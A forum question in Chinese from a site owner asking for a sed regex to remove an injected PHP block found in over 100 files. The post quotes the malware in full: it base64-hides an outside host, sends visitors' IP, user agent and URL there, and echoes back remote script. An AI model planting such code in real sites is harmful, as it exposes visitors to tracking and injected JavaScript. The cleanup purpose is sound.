我的服务器上的恶意软件有一个大问题。不知何故,机器人能够将代码放入 100 多个 php 文件中,这些文件执行 curl 检索以在查看器浏览器上执行 JS 代码。幸运的是,此代码连接到的服务器已死。所以不,我的 php 文件中有死的恶意软件代码。我想从每个 php 文件中删除该代码块。
以下代码块位于许多 php 文件中:
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
如您所见,第一个字符以“?>”开头。
使用 sed 我会做类似的事情:
sed -i 's/<\?php\nif \(\!isset\(\$sRetry\)\)(.*?)\n\}\n}\?>//g' *.php
显然这是行不通的。但是我试图做的是搜索开始标记,包括对 $sRetry 的“isset”检查,以确保它只找到这个代码块,然后是 (.*) 后面跟两个大括号和结尾的任何代码标签。
任何人都可以为我提供适当的正则表达式或告诉我这个有什么问题吗?